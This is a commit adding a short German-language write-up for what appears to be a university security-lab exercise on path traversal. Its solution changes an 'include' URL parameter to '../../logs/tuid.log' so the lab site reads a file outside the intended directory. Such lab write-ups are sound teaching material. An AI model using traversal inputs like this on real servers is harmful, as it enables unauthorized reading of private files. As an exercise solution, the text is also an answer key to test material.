Add Path Traversal write up
This commit is contained in:
23
path-traversal/README.md
Normal file
23
path-traversal/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# Path Traversal
|
||||
|
||||
Gegeben ist ein Minibrowser ohne URL-Leiste.
|
||||
Ziel ist das Einlesen von Dateien,
|
||||
auf die wir eigentlich keinen Zugriff haben sollen.
|
||||
|
||||
![](path-traversal.png)
|
||||
|
||||
## Lösung
|
||||
|
||||
Laut dem Hinweis sollen wir die URL im Browser anschauen:
|
||||
```
|
||||
https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=start.php
|
||||
```
|
||||
Die Beschreibung weist uns auf `start.php` hin:
|
||||
```
|
||||
[unknown]/logs/tuid.log
|
||||
[unknown]/public_html/views/start.php
|
||||
```
|
||||
Wir können mittels [`..` auf Elternverzeichnisse zugreifen](https://superuser.com/questions/153165/what-does-represent-while-giving-path/153175#153175):
|
||||
```
|
||||
https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=../../logs/tuid.log
|
||||
```
|
BIN
path-traversal/path-traversal.png
Normal file
BIN
path-traversal/path-traversal.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 40 KiB |
Reference in New Issue
Block a user